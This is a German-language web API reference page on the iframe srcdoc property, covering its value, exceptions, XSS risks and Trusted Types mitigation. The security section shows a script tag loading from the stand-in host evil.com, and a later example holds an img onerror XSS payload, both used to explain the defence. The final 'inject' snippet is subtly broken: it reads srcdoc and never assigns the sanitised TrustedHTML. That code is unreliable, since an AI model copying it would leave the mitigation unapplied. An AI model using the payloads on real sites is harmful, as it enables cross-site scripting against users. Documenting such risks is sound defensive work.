HTMLIFrameElement: `srcdoc`-Eigenschaft
Baseline Widely available
This feature is well established and works across many devices and browser versions. It’s been available across browsers since Januar 2020.
Warnung: Diese Eigenschaft analysiert ihren Eingabewert als HTML und schreibt das Ergebnis in das DOM des Rahmens. Solche APIs sind bekannt als Einspeisepunkte für Injektionen und können potenziell ein Vektor für Cross-Site-Scripting (XSS)-Angriffe sein, wenn die Eingabe ursprünglich von einem Angreifer stammt.
Sie können dieses Risiko mindern, indem Sie immer TrustedHTML-Objekte anstelle von Zeichenfolgen zuweisen und vertrauenswürdige Typen erzwingen. Siehe Sicherheitsüberlegungen für weitere Informationen.
Die srcdoc-Eigenschaft der Schnittstelle HTMLIFrameElement ruft das Inline-HTML-Markup des Dokuments des Rahmens ab oder legt es fest.
Wert
Das Abrufen der Eigenschaft gibt eine Zeichenfolge zurück, die die HTML-Serialisierung des Dokuments des Rahmens enthält. Dies ist undefined, wenn der Wert nicht gesetzt ist.
Das Setzen der Eigenschaft akzeptiert entweder ein TrustedHTML-Objekt oder eine Zeichenfolge. Es analysiert diese Eingabe als ein HTML-Dokument und ersetzt den Inhalt des Rahmens durch das Ergebnis.
Ausnahmen
TypeError-
Wird ausgelöst, wenn die Eigenschaft auf eine Zeichenfolge gesetzt wird, wenn vertrauenswürdige Typen durch eine CSP erzwungen sind und keine Standardrichtlinie definiert ist.
Beschreibung
Die srcdoc-Eigenschaft spiegelt den Inhalt des \<iframe>-Elements srcdoc-Attributs wider und kann verwendet werden, um das HTML-Dokument zu setzen oder zu erhalten, das zum <iframe> gehört.
Bei der Einstellung der Eigenschaft sollte die Eingabe ein gültiges HTML-Dokument definieren, einschließlich der Dokumenttyp-Direktive, <html>, <body> und anderen Tags. Beachten Sie jedoch, dass Browser in der Regel tolerant gegenüber ungültigem Markup sind und die meisten versuchen sollten, Eingaben zu rendern, die nur Körperinhalte enthalten.
Jedes vom Browser unterstützte Markup wird analysiert/serialisiert, einschließlich Shadow roots.
Beachten Sie, dass, wenn dies gesetzt ist, es jeden in der src Eigenschaft gesetzten Wert überschreiben wird.
Sicherheitsüberlegungen
Die srcdoc-Eigenschaft ermöglicht es, dass standardmäßig absolut jedes HTML-Markup in einem Rahmen ausgeführt wird. Wenn der Rahmen nicht mit der Content Security Policy (CSP) sandbox-Direktive gesichert ist (oder gesichert, aber den Wert allow-same-origin enthält), dann wird er gleich-origin mit dem übergeordneten Element sein. Das bedeutet, dass der Rahmen vollständigen Zugriff auf das DOM und die Ressourcen des übergeordneten Elements haben wird und umgekehrt.
Dies ist ein signifikanter Vektor für Cross-Site-Scripting (XSS)-Angriffe, wenn potenziell unsichere Zeichenfolgen, die von einem Benutzer bereitgestellt werden, ohne vorherige Sanitärmaßnahmen in einen Rahmen injiziert werden. Betrachten Sie den folgenden Code, in dem ein HTML-String von einem Benutzer in einen Rahmen übergeben werden könnte, der dann dem Dokument hinzugefügt wird.
const untrustedStringFromUser = `<!doctype html><script src="http://evil.com/naughty.js"></script>`; const iframe = document.createElement("iframe"); iframe.srcdoc = untrustedStringFromUser; document.body.appendChild(iframe); Wenn nicht erwartet wird, dass der Rahmen Zugriff auf Ihr übergeordnetes Dokument benötigt, können Sie das Risiko mindern, indem Sie einen CSP-Sandbox ohne den Wert allow-same-origin verwenden. Der Rahmen wird dann als cross-origin Ressourcen behandelt, und Angriffe werden erheblich eingeschränkt. Sie können auch eine allgemeinere CSP verwenden, um die Orte einzuschränken, von denen Skripte und andere Ressourcen abgerufen werden dürfen.
Sie können das Risiko weiter verringern, indem Sie immer TrustedHTML Objekte anstelle von Zeichenfolgen zuweisen und vertrauenswürdige Typen durchsetzen mithilfe der CSP-Direktive require-trusted-types-for. Dies stellt sicher, dass die Eingabe durch eine Transformationsfunktion geleitet wird, die die Möglichkeit bietet, die Eingabe zu bereinigen, um potenziell gefährliches Markup zu entfernen, bevor es injiziert wird.
Beispiele
Das HTML aus einem Iframe lesen
Das Lesen von srcdoc veranlasst den Benutzeragenten, das Dokument des Iframes zu serialisieren.
Angenommen, das folgende HTML:
<iframe id="example" srcdoc="<!doctype html><body><p>Hello World!</p></body>"></iframe> Sie können dann das Markup wie folgt abrufen und protokollieren:
const frame = document.querySelector("#example"); const frameDoc = frame.srcdoc; console.log(frameDoc); // "<!doctype html><body><p>Hello World!</p></body>" Die Inline-Quelle des Rahmens ersetzen
In diesem Beispiel werden wir das Dokument eines Rahmens ersetzen, indem wir HTML seiner srcdoc-Eigenschaft zuweisen. Um das Risiko von XSS zu mindern, erstellen wir zuerst ein TrustedHTML-Objekt aus der Zeichenfolge, die das HTML enthält, und weisen dann dieses Objekt srcdoc zu.
Vertrauenswürdige Typen werden noch nicht von allen Browsern unterstützt, daher definieren wir zuerst den trusted types tinyfill. Dies funktioniert als transparenter Ersatz für die Trusted Types JavaScript API:
if (typeof trustedTypes === "undefined") trustedTypes = { createPolicy: (n, rules) => rules }; Als nächstes erstellen wir eine TrustedTypePolicy, die eine createHTML() für das Transformieren einer Eingabezeichenfolge in TrustedHTML-Instanzen definiert. In der Regel verwenden Implementierungen von createHTML() eine Bibliothek wie DOMPurify, um die Eingabe zu bereinigen, wie unten gezeigt:
const policy = trustedTypes.createPolicy("my-policy", { createHTML: (input) => DOMPurify.sanitize(input), }); Dann verwenden wir dieses policy-Objekt, um ein TrustedHTML-Objekt aus der möglicherweise unsicheren Eingabezeichenfolge zu erstellen und das Ergebnis dem Element zuzuweisen:
// The potentially malicious string const untrustedString = "<!doctype html><body><p>I might be XSS</p><img src='x' onerror='alert(1)'></body>"; // Create a TrustedHTML instance using the policy const trustedHTML = policy.createHTML(untrustedString); // Inject the TrustedHTML (which contains a trusted string) const frame = document.querySelector("#example"); const frameDoc = frame.srcdoc; Warnung: Während Sie eine Zeichenfolge direkt srcdoc zuweisen können, stellt dies ein Sicherheitsrisiko dar, wenn die einzufügende Zeichenfolge potenziell bösartige Inhalte enthalten könnte. Sie sollten TrustedHTML verwenden, um sicherzustellen, dass der Inhalt bereinigt wird, bevor er eingefügt wird, und Sie sollten einen CSP-Header setzen, um vertrauenswürdige Typen durchzusetzen.
Spezifikationen
| Specification |
|---|
| HTML # dom-iframe-srcdoc |